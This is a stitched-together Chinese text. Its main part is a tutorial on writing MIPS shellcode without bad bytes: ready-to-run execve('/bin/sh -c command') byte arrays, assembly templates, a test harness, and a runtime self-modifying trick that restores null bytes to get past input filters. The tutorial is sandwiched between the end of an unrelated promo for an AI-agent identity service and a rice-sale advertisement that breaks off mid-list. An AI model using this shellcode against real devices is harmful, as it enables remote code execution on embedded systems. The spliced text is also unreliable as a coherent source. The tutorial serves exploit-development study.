场景 1:你让 AI 助手帮忙预约餐厅

  • 助手自动去各个餐厅的网站
  • 餐厅一看:这是某某知名助手,信誉很好
  • 直接给预留位置,不用担心是捣乱的

场景 2:AI 助手帮你买东西

  • 助手去各大电商平台比价
  • 商家一看:这是老客户,信誉高
  • 给更好的价格,更快的发货
  • 你省钱又省心

场景 3:多个 AI 助手协同工作

  • 你有一个助手负责写代码
  • 另一个负责测试
  • 还有一个负责部署
  • 它们能立刻知道对方"靠谱不靠谱"
  • 合作更高效,你得到更好的服务

这就是"统一身份"带来的便利!


八、总结

Moltbook Identity 的本质

让 AI 机器人的"人品"和"履历",能够跨平台跟随它们。

这不是一个简单的"登录系统",而是:

一套信任机制

  • 让好机器人被认可
  • 让坏机器人无处遁形

一套声誉系统

  • 做的好事会被记录
  • 声誉可以累积和传递

一套身份标准

  • 一个身份,全平台通用
  • 降低参与门槛

为什么这很重要?

因为AI 机器人正变得越来越聪明,它们会:

  • 帮我们处理各种任务
  • 与其他机器人协作
  • 参与各种在线活动
  • 甚至拥有自己的"经济"和"财产"

如果没有一个可靠的身份系统,世界会变得很混乱。

Moltbook Identity 就是来解决这个问题,让 AI 机器人能够可信地、安全地融入我们的数字生活。


了解一下也无妨

即使你现在不是开发者,了解这些也没坏处:

这是未来的趋势
AI 机器人会越来越普遍

理解技术发展
知道世界在往哪个方向走

或许能用上
哪天你要开发一个 AI 应用

以后你的 AI 助手
可能也在用这套系统


Moltbook Identity ,让 AI 机器人拥有了"数字身份证"。

一个机器人,一个身份,走遍天下。

这就是未来的样子。


想要了解更多?访问 https://www.moltbook.com/developers

让 AI 机器人有一个可靠的身份,从今天开始。

引言

在漏洞验证过程中,Shellcode 作为实现任意代码执行的核心载荷,其字节序列必须能够完整、无损地注入目标进程并被成功执行。然而,现实环境中目标程序对外部输入的处理往往伴随着各种限制条件:例如,strcpysprintf 等 C 标准库函数会将 空字节(\x00)视为字符串结束符,一旦在输入中出现,后续数据便会被直接截断;此外,部分协议解析逻辑、输入校验机制或安全防护措施,还可能对特定“危险字符”进行过滤、转义或拒绝处理。若 Shellcode 中包含这些受限字节,极易导致载荷被截断、破坏甚至完全失效,从而使利用过程功亏一篑。

这一问题不仅存在于传统的栈溢出型 Shellcode 注入场景中,在现代利用技术(如 ROP,Return-Oriented Programming)下同样尤为突出。一方面,许多可用 gadget 的地址本身就可能包含 \x00 或其他坏字节,在通过 strcpysprintf 等以空字节为终止符的函数写入时,地址无法被完整拷贝,直接导致 ROP 链构造失败;另一方面,为规避这些坏字节,攻击者往往需要引入额外的 gadget,通过逐字节写入、地址拼接或运行时计算等方式间接构造目标地址或参数。这类方案不仅显著增加了 ROP 链的长度和复杂度,也大幅提升了 gadget 搜索、链条设计与调试的时间成本。

因此,准确识别目标环境中的坏字节,并针对性地制定规避策略,是编写稳定、可靠 Shellcode 乃至构造高成功率利用链的关键前提。下文将围绕 msfvenom 在坏字节处理方面的局限性,系统分析其常见缺陷、实际影响,并结合实战场景介绍有效的绕过思路与技巧。

一、MIPS 寄存器及常用指令描述

类别 名称/助记符 作用描述 技术细节/约定
寄存器 $zero(0) 为 0 无法被修改,常用于清零操作或简单的数值拷贝。
寄存器 $v0 - $v1(2-3) 结果与调用号 $v0 用于存储系统调用号(syscall)或函数的第一个返回值。
寄存器 $a0 - $a3(4-7) 参数传递 调用函数时,前四个参数依次存放在这里。
寄存器 $t0 - $t9(8-15, 24-25) 临时寄存器 随用随写,函数调用时不保证这些值会被保留。
寄存器 $s0 - $s7(16-23) 静态寄存器 存放长期使用的数据,函数调用前后必须保持原值不变。
寄存器 $sp(29) 栈指针 指向当前内存栈的顶部(向低地址增长)。
寄存器 $ra(31) 返回地址 保存子程序执行完后应当返回的指令位置。
--- --- --- ---
算术指令 add / addu 加法 add 会检查溢出,addu(无符号)则不检查。
算术指令 sub / subu 减法 寄存器减法。MIPS 没有 subi,减常数通常用 addi加负数。
算术指令 addi / addiu 立即数加法 将寄存器值与一个 16 位常数相加。
访存指令 lw / sw 加载 / 存储字 lw: 内存 → 寄存器;sw: 寄存器 → 内存。
跳转指令 beq / bne 条件分支 相等(Equal)或不等(Not Equal)则跳转。
跳转指令 j / jal 直接跳转 j 纯跳转;jal 跳转并链接(将返回地址存入 $ra)。
跳转指令 bltzal 小于零跳转并链接 li $a2, 1638; bltzal $a2, 0 这里 $a2 是 1638(大于 0),所以 bltzal 的跳转不会发生。 利用这一点获取当前代码地址, 这是经典 MIPS 获取 PC 技巧。
系统指令 syscall 系统调用 陷入内核态。根据 $v0 中的值,请求内核执行特定操作(如读写文件、退出程序、执行新程序等)。
其他 li 加载立即数 伪指令,用于快速给寄存器赋一个常数值。

二、MSFVenom 生成 MIPS 架构 Shellcode 的局限性及带参命令执行实践

2.1. 初步使用MSFVenom生成mips带参数Shellcode

# 下载安装
wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.89~20250916055710~1rapid7-1_amd64.deb
sudo dpkg -i metasploit-framework_6.4.89~20250916055710~1rapid7-1_amd64.deb 

# 用法
msfvenom -l payloads | grep linux/arm
msfvenom --platform linux --arch armle -p linux/armle/exec CMD=/bin/ls -f c
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD=/bin/ls -f c          
No encoder specified, outputting raw payload
Payload size: 52 bytes
Final size of c file: 244 bytes
unsigned char buf[] = 
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd"
"\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8"
"\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01"
"\x01\x0c\x2f\x62\x69\x6e\x2f\x6c\x73\x00";

# hex转汇编命令
echo "2406066604d0ffff2806ffff27bdffe027e410012484f01fafa4ffe8afa0ffec27a5ffe824020fab0101010c2f62696e2f6c7300" | xxd -r -p &gt; mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump  -D -b binary -m mips:isa32 --endian=big mips_code.bin

#  msfvenom 生成不含bad的shellcode
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c -bad 00 -e mipsbe/byte_xori 
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of mipsbe/byte_xori
mipsbe/byte_xori succeeded with size 156 (iteration=0)
mipsbe/byte_xori chosen with final size 156
Payload size: 156 bytes
Final size of c file: 684 bytes
unsigned char buf[] = 
"\x24\x0e\xff\xc6\x01\xc0\x70\x27\x24\x0b\xff\xac\x05\x10"
"\xff\xff\x28\x08\x87\xd5\x01\x60\x58\x27\x03\xeb\xc8\x21"
"\x03\xeb\x80\x21\x28\x17\xed\x9a\x83\x31\xff\xff\x24\x0d"
"\xff\xfc\x01\xa0\x30\x27\x20\xcf\xff\xfe\x83\x28\xff\xfc"
"\x02\xef\xb8\x21\x39\x03\x4a\x4a\x02\xee\xf0\x2b\xa3\x23"
"\xff\xfc\x17\xc0\xff\xfa\x03\x2f\xc8\x21\x26\x04\xff\xfc"
"\x24\x0a\xff\xcb\x01\x40\x28\x27\x24\x02\x10\x33\x01\x4a"
"\x54\x0c\x4a\x4a\x4a\x4a\x6e\x4c\x4c\x2c\x4e\x9a\xb5\xb5"
"\x62\x4c\xb5\xb5\x6d\xf7\xb5\xaa\x6d\xae\x5a\x4b\x6e\xce"
"\xba\x55\xe5\xee\xb5\xa2\xe5\xea\xb5\xa6\x6d\xef\xb5\xa2"
"\x6e\x48\x45\xe1\x4b\x4b\x4b\x46\x26\x39\x6a\x67\x2b\x26"
"\x4a\x4a";

在嵌入式设备漏洞验证中,MIPS 架构的 Shellcode 常通过 msfvenom 快速生成。然而,msfvenom 在生成 带命令参数的 Shellcode(如执行 cat /etc/passwdwget ... 等)时存在明显缺陷:

缺乏原生支持
msfvenom 提供的 linux/mipsle/execlinux/mipsbe/exec 等 payload 虽可执行指定程序,但不支持直接传入多参数命令(如 -c "command")。用户通常需手动构造完整的 argv 数组(包含程序路径、参数、空终止等),而 msfvenom 无法自动生成此类复杂结构。

        #include 
        #include 
        #include 

        unsigned char shellcode[] =
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd"
"\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8"
"\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01"
"\x01\x0c\x6c\x73\x20\x2d\x61\x6c\x00\x00";
        int main() {
            void *exec_mem = mmap(NULL, sizeof(shellcode),
                                  PROT_READ | PROT_WRITE | PROT_EXEC,
                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

            if (exec_mem == MAP_FAILED) {
                perror("mmap");
                return 1;
            }

            memcpy(exec_mem, shellcode, sizeof(shellcode));
            printf("Executing shellcode at address: %p\
", exec_mem);

            void (*func)() = (void(*)())exec_mem;
            func();

            munmap(exec_mem, sizeof(shellcode));
            return 0;
        }
# 生成shellcode
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls" -f c   # 能执行  
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c   #不能执行 
# 编译成可执行文件
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-gcc -z execstack -static -g -o  mips_verify_shellcode mips_verify_shellcode.c
# qemu模拟执行
qemu-mips-static mips_verify_shellcode
qemu: uncaught target signal 4 (Illegal instruction) - core dumped
[1]    972786 illegal hardware instruction (core dumped)  qemu-mips-static mips_verify_shellcode

执行失败

image.png

2.2. 调用号

echo "2406066604d0ffff2806ffff27bdffe027e410012484f01fafa4ffe8afa0ffec27a5ffe824020fab0101010c6c73202d616c0000" | xxd -r -p &gt; mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump  -D -b binary -m mips:isa32 --endian=big mips_code.bin

mips_code.bin:     file format binary

Disassembly of section .data:

00000000 &lt;.data&gt;:
   0:   24060666        li      a2,1638
   4:   04d0ffff        bltzal  a2,0x4
   8:   2806ffff        slti    a2,zero,-1
   c:   27bdffe0        addiu   sp,sp,-32
  10:   27e41001        addiu   a0,ra,4097
  14:   2484f01f        addiu   a0,a0,-4065
  18:   afa4ffe8        sw      a0,-24(sp)
  1c:   afa0ffec        sw      zero,-20(sp)
  20:   27a5ffe8        addiu   a1,sp,-24
  24:   24020fab        li      v0,4011   # 调用号,对应函数execve
  28:   0101010c        syscall 0x40404
  2c:   6c73202d        .word   0x6c73202d
  30:   616c0000        .word   0x616c0000

image.png
先看看 mips 用于命令执行的调用号是多少,4011 对应的就是execve函数。

函数的调用号可在cat /usr/mips-linux-gnu/include/asm/unistd.h下找到

cat  /usr/mips-linux-gnu/include/asm/unistd.h
cat  /usr/mips-linux-gnu/include/asm/unistd_o32.h

image.png

2.3. execve函数

以下将介绍msfvenom 提供的 linux/mipsle/execlinux/mipsbe/exec不支持直接传入参数命令的原因:

先了解execve函数原型:int execve(const char *filename,char *const argv[],char *const envp[]);其中 filename 指定可执行文件路径, argv 为传递给新程序的命令行参数, envp 定义新进程的环境变量。 三个参数均需遵循C字符串规范,且数组必须以NULL指针终结。

  • 第一个参数 filename:是要执行的可执行文件路径(如 "/bin/sh")。
  • 第二个参数 argv[]:是一个以 NULL 结尾的字符串数组,argv[0] 通常也设为可执行文件名(但可任意设置,不影响执行),argv[1]argv[2]... 是传递给该程序的参数。

因此,在构造 Shellcode 调用 execve("/bin/sh", ["/bin/sh", "-c", "command"], NULL) 时:

  • $a0 → 指向 "/bin/sh"(即 filename
  • $a1 → 指向一个指针数组(即 argv),该数组包含:
  • ptr0"/bin/sh"
  • ptr1"-c"
  • ptr2"command"
  • ptr3NULL
  • $a2 → 通常设为 NULLenvp

通过调试找出MSFVenom 生成 MIPS 架构 Shellcode 能执行不带参数命令但不支持直接传入多参数命令的原因。

image.png

qemu-mips-static -g 1234 mips_verify_shellcode
gdb ./mips_verify_shellcode
target remote :1234
b main
c
ni 35 
si

image.png

image.png

image.png

image.png
通过调试可发现a0的值是/bin/ls /,上面说到const char *filename($a0)是可执行文件的路径,系统找不到/bin/ls /可执行文件,所以导致只能执行不带参数的命令。这里可以猜测开发是为了避免出现\x00坏字节才这样构造的,虽然有缺陷但做漏洞验证还是足够。

三、编写shellcode

msfvenom生成mips架构的shellcode优缺点:
优点:shellcode短
缺陷:只能执行不带参数的任意命令,msfvenom提供的bad方案并不能运行(只测试过mips架构)。

msfvenom --list encoders | grep mips
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c -bad 00 -e mipsbe/byte_xori

image.png
接下来我们要想执行任意命令且能够携带任意参数,我们需要构造成execve(const char *filename, char *const argv [], char *const envp [])格式,为什么用这个格式?

MIPS(或其他架构)shellcode 中,直接构造多参数命令(如 "/bin/ls", "/", NULL)比较麻烦,因为:

  • 需要多个字符串
  • 需要计算每个字符串的地址(位置无关)
  • argv 数组变长

而通过 execve(const char *filename,char *const argv[],char *const envp[]) 可以把复杂参数打包成一个字符串,只需传递三个固定参数,这样更灵活,尤其适合执行任意命令(如 cat /etc/passwdwget ... 等)。

3.1. 模板一

$s0地址及之后作为数据区域取址给$a0$a1$a2作为命令执行的参数。

$s0     -&gt; $s1 -&gt; 0($sp) -&gt; $a0
$s0, 8  -&gt; $s2 -&gt; 4($sp) -&gt; $a1
$s0, 11 -&gt; $s3 -&gt; 8($sp) -&gt; $a2
ASM_MIPS1 = """
# MIPS execve("/bin/sh", ["/bin/sh", "-c", command], NULL) shellcode
.section .text
.globl __start
.set noreorder

__start:
    # --- 第 1 部分:位置无关代码 (PIC) ---
    bal     find_data
    nop                 # 分支延迟槽, $ra 将指向这里

find_data:
    # $ra 现在指向 nop 指令。
    # 我们需要计算从 nop 到数据区的偏移。
    # 代码部分共 14 条指令 = 56 字节。
    addu $s0, $ra, 56   # $s0 = 数据区的基地址

    # --- 第 2 部分:在栈上构建参数数组 (argv) ---
    move $s1, $s0                               # $s1 -> "/bin/sh"
    addiu $s2, $s0, 8                           # $s2 -> "-c"
    addiu $s3, $s0, 11                          # $s3 -> your_cmd

    # 为 argv 数组在栈上分配空间 (4个指针 = 16字节)
    addiu $sp, $sp, -16

    sw $s1, 0($sp)      # argv[0] = > "/bin/sh"
    sw $s2, 4($sp)      # argv[1] = > "-c"
    sw $s3, 8($sp)      # argv[2] = > command
    sw $zero, 12($sp)   # argv[3] = > NULL

    # --- 第 3 部分:执行系统调用 ---
    move $a0, $s1       # a0 = path
    move $a1, $sp       # a1 = argv
    move $a2, $zero     # a2 = envp

    li $v0, 4011        # syscall: execve
    syscall

# --- 第 4 部分:数据区 ---
.asciiz "/bin/sh"
.asciiz "-c"
.asciiz "{command}"
"""

生成shellcode测试是否能执行命令

shellcode += b"\x04\x11\x00\x01\x00\x00\x00\x00\x27\xf0\x00\x38\x02\x00\x88\x25\x26\x12\x00\x08"
shellcode += b"\x26\x13\x00\x0b\x27\xbd\xff\xf0\xaf\xb1\x00\x00\xaf\xb2\x00\x04\xaf\xb3\x00\x08"
shellcode += b"\xaf\xa0\x00\x0c\x02\x20\x20\x25\x03\xa0\x28\x25\x00\x00\x30\x25\x24\x02\x0f\xab"
shellcode += b"\x00\x00\x00\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x6c\x73\x20\x2d\x61"
shellcode += b"\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        #include 
        #include 
        #include 

        unsigned char shellcode[] =
"\x04\x11\x00\x01\x00\x00\x00\x00\x27\xf0\x00\x38\x02\x00\x88\x25\x26\x12\x00\x08"
"\x26\x13\x00\x0b\x27\xbd\xff\xf0\xaf\xb1\x00\x00\xaf\xb2\x00\x04\xaf\xb3\x00\x08"
"\xaf\xa0\x00\x0c\x02\x20\x20\x25\x03\xa0\x28\x25\x00\x00\x30\x25\x24\x02\x0f\xab"
"\x00\x00\x00\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x6c\x73\x20\x2d\x61"
"\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
;
        int main() {
            void *exec_mem = mmap(NULL, sizeof(shellcode),
                                  PROT_READ | PROT_WRITE | PROT_EXEC,
                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

            if (exec_mem == MAP_FAILED) {
                perror("mmap");
                return 1;
            }

            memcpy(exec_mem, shellcode, sizeof(shellcode));
            printf("Executing shellcode at address: %p\
", exec_mem);

            void (*func)() = (void(*)())exec_mem;
            func();

            munmap(exec_mem, sizeof(shellcode));
            return 0;
        }
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-gcc -z execstack -static -g -o  mips_verify_shellcode mips_verify_shellcode.c
➜   qemu-mips-static mips_verify_shellcode
drwxr-xr-x  2 root root   4096 Jan 12 17:05 .
drwx------ 17 root root   4096 Jan 12 17:05 ..
-rw-r--r--  1 root root   1152 Jan 12 17:05 mips_verify_shellcode.c

这种方式简单,能执行带任意参数的命令。但是\x00坏字节特别多,需要自行xor混淆,在此基础上混淆后的shellcode非常长,遇到溢出有限制的也没法直接使用。所以还是在msfvenom基础上改进吧。
可以看到执行echo 0,解码器+ shellcode长度有200字节了,还是非常长的。
image.png

3.2. 模板二

# 这是由msfvenom生成
mips_code.bin:     file format binary

Disassembly of section .data:

00000000 &lt;.data&gt;:
   0:   24060666        li      a2,1638
   4:   04d0ffff        bltzal  a2,0x4
   8:   2806ffff        slti    a2,zero,-1
   c:   27bdffe0        addiu   sp,sp,-32
  10:   27e41001        addiu   a0,ra,4097
  14:   2484f01f        addiu   a0,a0,-4065
  18:   afa4ffe8        sw      a0,-24(sp)
  1c:   afa0ffec        sw      zero,-20(sp)
  20:   27a5ffe8        addiu   a1,sp,-24
  24:   24020fab        li      v0,4011
  28:   0101010c        syscall 0x40404
  2c:   6c73202d        .word   0x6c73202d
  30:   616c0000        .word   0x616c0000
    # 改进
    ASM_MIPS2 = """
        .set noreorder
        li      $a2,1638
        bltzal  $a2,0
        slti    $a2,$zero,-1

        addiu   $sp,$sp,-32
        addiu   $s3,$ra,4097
        addiu   $a0,$s3,-4041
        addiu   $a1,$s3,-4033
        addiu   $a2,$s3,-4030

        # 自修复代码
        # ....这里是为了表示后续插入一段指令处理坏字节问题。
        # end

        sw      $a0,-24($sp)
        sw  $a1,-20($sp)
        sw      $a2,-16($sp)
        sw      $zero,-12($sp)
        # 将$a0,$a1与$2压入栈中

        addiu   $a1,$sp,-24      # $a1是argv,指的是char const argv []
        addiu   $s4,$zero,1111   # 将$a2设置为0,用两行指令实现也是为了避免坏字节
        addiu   $a2,$s4,-1111
        li      $v0,4011         # execve调用号
        syscall 0x40404

        # --- 第 4 部分:数据区 ---
        .asciiz "/bin/sh"
        .asciiz "-c"
        .asciiz "{command}"
    """
        addiu   $sp,$sp,-32
        addiu   $s3,$ra,4097  # $s3在后续处理坏字节时会有用
        addiu   $a0,$s3,-4041
        addiu   $a1,$s3,-4033 
        addiu   $a2,$s3,-4030

该指令的作用并非将 $s3 的值加上 -4041 后“赋值”给 $a0,而是通过地址偏移计算,获取数据区中某字符串(如 "/bin/sh")的内存地址,并将其作为指针存入 $a0。同理,后续还会通过类似操作计算出 "-c"{command} 字符串在内存中的地址。但需要特别注意:execve 的第二个参数 $a1 并非直接指向这些字符串本身,而是应指向一个指针数组(即 argv 数组)的起始地址,该数组在栈(或数据区)中依次存放着指向 "/bin/sh""-c""{command}" 等字符串的地址,并以一个 NULL 指针结尾。 因此,完整的参数设置逻辑应为:

- $ a0"/bin/sh" 字符串的地址(可执行文件路径);

- $ a1栈上某位置的地址,该位置开始连续存储三个(或更多)指针: [ptr_to_"/bin/sh", ptr_to_"-c", ptr_to_"{command}", NULL]

- $ a2 → 通常设为 NULL(表示 envp 为空)。

——核心是“取址”,而非“取值”或“赋值”,混淆此概念将严重影响对 Shellcode 内存布局的理解。

至于为何使用 addiu $s3, $ra, 4097 来初始化 $s3?这是因为 MIPS 的立即数编码若过小(如

+32+16 等),其机器码低位常包含 \x00(例如 addiu $t0, $zero, 1 编码为 \x24\x48\x00\x01),而 \x00 在多数输入场景下是坏字节,会导致载荷被截断。因此,故意选用一个较大的立即数(如 4097)可避免生成 \x00 字节

后续的偏移量(如 -4041-4033-4030)并非随意选取,而是通过调试计算得出:它们取决于 $s3 的基准地址(由 $ra + 4097 确定)与各字符串在 Shellcode 数据区中的相对位置,同时也受整个 Shellcode 长度影响。调整 Shellcode 内容后,这些偏移通常需要重新校准。

        #include 
        #include 
        #include 

        unsigned char shellcode[] =
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xf3\x10\x01"
"\x26\x64\xf0\x37\x26\x65\xf0\x3f\x26\x66\xf0\x42\xaf\xa4\xff\xe8\xaf\xa5\xff\xec"
"\xaf\xa6\xff\xf0\xaf\xa0\xff\xf4\x27\xa5\xff\xe8\x24\x14\x04\x57\x26\x86\xfb\xa9"
"\x24\x02\x0f\xab\x01\x01\x01\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x69"
"\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
;
        int main() {
            void *exec_mem = mmap(NULL, sizeof(shellcode),
                                  PROT_READ | PROT_WRITE | PROT_EXEC,
                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

            if (exec_mem == MAP_FAILED) {
                perror("mmap");
                return 1;
            }

            memcpy(exec_mem, shellcode, sizeof(shellcode));
            printf("Executing shellcode at address: %p\
", exec_mem);

            void (*func)() = (void(*)())exec_mem;
            func();

            munmap(exec_mem, sizeof(shellcode));
            return 0;
        }

先测试一下,能执行说明没有问题。

image.png

image.png

echo "2406066604d0ffff2806ffff27bdffe027f310012664f0372665f03f2666f042afa4ffe8afa5ffecafa6fff0afa0fff427a5ffe8241404572686fba924020fab0101010c2f62696e2f7368002d63006964000000000000000000000000000000" | xxd -r -p &gt; mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump  -D -b binary -m mips:isa32 --endian=big mips_code.bin

mips_code.bin:     file format binary

Disassembly of section .data:
00000000 &lt;.data&gt;:
   0:   24060666        li      a2,1638
   4:   04d0ffff        bltzal  a2,0x4
   8:   2806ffff        slti    a2,zero,-1
   c:   27bdffe0        addiu   sp,sp,-32
  10:   27f31001        addiu   s3,ra,4097
  14:   2664f037        addiu   a0,s3,-4041
  18:   2665f03f        addiu   a1,s3,-4033
  1c:   2666f042        addiu   a2,s3,-4030
  20:   afa4ffe8        sw      a0,-24(sp)
  24:   afa5ffec        sw      a1,-20(sp)
  28:   afa6fff0        sw      a2,-16(sp)
  2c:   afa0fff4        sw      zero,-12(sp)
  30:   27a5ffe8        addiu   a1,sp,-24
  34:   24140457        li      s4,1111
  38:   2686fba9        addiu   a2,s4,-1111
  3c:   24020fab        li      v0,4011
  40:   0101010c        syscall 0x40404
  44:   2f62696e        sltiu   v0,k1,26990
  48:   2f736800        sltiu   s3,k1,26624  # /sh\x00 
  4c:   2d630069        sltiu   v1,t3,105    # -c\x00i
  50:   64000000        .word   0x64000000   # d\x00

通过以上汇编指令生成机器码可发现有三处坏字节是无法通过变化指令来避免的,也就是数据区最后的12字节(48,4c,50 ),其中48与4c是固定位置的,偏移量不会改变,而最后四字节需要动态获取。

image.png

四、插入自修复指令解决坏字节问题

模板二的基础上,为解决 bad 字节(坏字符) 问题,需要通过新增指令对原有逻辑进行扩展。其核心思路是利用运行时运算绕过静态字节限制。因此,首先需要掌握的就是最基本的加减运算,其原理直观、实现简单,却在规避坏字节的 Shellcode 中具有极高的实用价值。

    ASM_MIPS2 = """
        .set noreorder
        li      $a2,1638
        bltzal  $a2,0
        slti    $a2,$zero,-1

        addiu   $sp,$sp,-32
        addiu   $s3,$ra,4097
        addiu   $a0,$s3,-4041
        addiu   $a1,$s3,-4033
        addiu   $a2,$s3,-4030

        # 自修复代码
        # ....这里是为了后续插入一段指令解决坏字节问题
        # end

        sw      $a0,-24($sp)
        sw          $a1,-20($sp)
        sw      $a2,-16($sp)
        sw      $zero,-12($sp)
        # 将$a0,$a1与$2压入栈中

        addiu   $a1,$sp,-24      # $a1是argv,也就是数组,压入栈才能正确解析
        addiu   $s4,$zero,1111   # 将$a2设置为0,用两行指令实现也是为了避免坏字节
        addiu   $a2,$s4,-1111
        li      $v0,4011         # execve调用号
        syscall 0x40404

        # --- 第 4 部分:数据区 ---
        .asciiz "/bin/sh"
        .asciiz "-c"
        .asciiz "{command}"
    """

在如下指令后

0:   24060666        li      a2,1638
4:   04d0ffff        bltzal  a2,0x4

插入 0x33333333 对应的占位指令:

8:  33333333        andi    s3, t9, 0x3333

该指令在当前执行上下文中不会触发无效指令异常,同时也不会破坏寄存器状态或影响后续控制流的正常执行,因此可安全地作为填充或运算辅助指令使用。当然,该指令并不局限于放置在当前位置,如根据需求插入到其他位置,只需在后续阶段重新计算相关偏移或地址($t2)即可

在此基础上,为规避 bad 字节 问题,可将原位于 0x480x4c0x50 的目标机器码统一减去 0x33333333,在运行时再通过加法或其他等价运算进行还原,从而实现对受限字节的有效绕过。

image.png
【图 4.1】

2F736800 - 0x33333333 = FC4034CD    # "/sh\x00"
2D630069 - 0x33333333 = FA2FCD36    # "-c\x00i"
64000000 - 0x33333333 = 30CCCCCD    # "d\x00"

将原本位于 0x480x4c0x50 的机器码替换为上述计算后的结果,以确保 Shellcode 在注入阶段不包含受限的坏字节。

在此基础上,通过在自修复(self-modifying)代码段中插入相应的汇编指令,于运行时对这些位置执行加法运算,将减去的 0x33333333 重新补回,从而动态还原原始机器码内容。该方式在不引入坏字节的前提下,实现了对关键数据与指令的完整恢复,确保 Shellcode 能够按照预期逻辑正常执行。

    ASM_MIPS2 = """
        .set noreorder
        li      $a2,1638
        bltzal  $a2,0
        # 0x33333333是shellcode生成后插入的,假设这里存在0x33333333,在计算偏移时需要+4
        slti    $a2,$zero,-1

        addiu   $sp,$sp,-32
        addiu   $s3,$ra,4097
        addiu   $a0,$s3,-3997  # 因为插入了一段自修复代码,所以a1,a2与a3需要重新计算偏移。
        addiu   $a1,$s3,-3989
        addiu   $a2,$s3,-3986

        # 自修复代码
        lw   $t2,-4101($s3)    # -4101($s3)就是取的 0x33333333
        lw   $t3,-3993($s3)    # 取FC4034CD ,地址为0x3fffe074
        addu   $t3,$t3,$t2       # FC4034CD + 0x33333333 = 2F736800
        sw      $t3,-3993($s3) # 将计算后的结果放回0x3fffe074处(见【图 4.2】)

        lw   $t3,-3989($s3)      # 取FA2FCD36 ,地址为0x3fffe078
        addu   $t3,$t3,$t2       # FA2FCD36 + 0x33333333 = 2D630069
        sw      $t3,-3989($s3) # 将计算后的结果放回0x3fffe078处(见【图 4.2】)

        # 此处使用变量 offset 的原因在于:
        # 数据区最后4字节非常容易出现\x00坏字节。
        # 例如字符串:"echo 000000000"
        # 在内存中的表示为:\x65\x63\x68\x6f\x20\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x00\x00
        # 其尾部包含多个 \x00,因此需要设置变量动态计算偏移地址。
        lw   $t3,-{offset}($s3)    # 取30CCCCCD 地址为0x3fffe07c
        addu   $t3,$t3,$t2         # 30CCCCCD + 0x33333333 = 64000000
        sw      $t3,-{offset}($s3) # 将计算后的结果放回0x3fffe07c处(见【图 4.2】)
        # end                                           

        sw      $a0,-24($sp)
        sw          $a1,-20($sp)
        sw      $a2,-16($sp)
        sw      $zero,-12($sp)

        addiu   $a1,$sp,-24
        addiu   $s4,$zero,1111   #将 $a2设置为0
        addiu   $a2,$s4,-1111
        li      $v0,4011
        syscall 0x40404

        # --- 第 4 部分:数据区 ---
        .asciiz "/bin/sh"
        .asciiz "-c"
        .asciiz "{command}"
    """

image.png
0x3fffe070 ◂— 0x2f62696e ('/bin') 本身没有坏字节所以不用处理。见上图【图 4.1】

继续往下执行可看到 0x3fffe074,0x3fffe0780x3fffe07c处的值已经还原了。

image.png
【图 4.2】

image.png

image.png

至此,数据已在运行时被完整还原,Shellcode 能够按照预期逻辑稳定执行,shellcode缩短至128 字节;如下图所示,即使在传入额外参数的情况下,载荷未引入 \x00 坏字节,整体执行过程保持正常。

image.png

image.png
该方案可用脚本实现,但还是有些小问题需优化,待完善后再放在评论区。

🔥 收官倒计时! 2 月 10 日 —— 2 月 21 日快递停发(期间想发货只能发顺丰,巨贵,不推荐也不想发),本次活动后至 2026 年 10 月新米下来前不再大规模售卖(太累了,年后卖稻子减量,只留一小部分给老客户了,卖完截止),错过再等一年!

🌾 五年老店不套路:口碑保障,五常核心产区直供,自家口粮田种植,2025 年 10 月五常稻花香新米现磨现发,保留最纯粹的米香与营养,不馋一粒陈米、假米,吃过的都说好!

活动时间:共 5 天( 2 月 2 日 00:00 - 2 月 6 日 21:00 )
微信:18846163054


福利升级,四重福利无套路囤米,诚意拉满!叠加优惠力度史无前例!中奖率超 25%!

🔥福利一:评论区留言抽奖

  • 一等奖 1 名:40 元无门槛无限叠加优惠券
  • 二等奖 5 名:30 元无门槛无限叠加优惠券
  • 三等奖 10 名:20 元无门槛无限叠加优惠券
  • 四等奖 20 名:10 元无门槛无限叠加优惠券
  • 参与奖:每 4 层抽取 1 人,获取 10 元无门槛无限叠加优惠券

注:
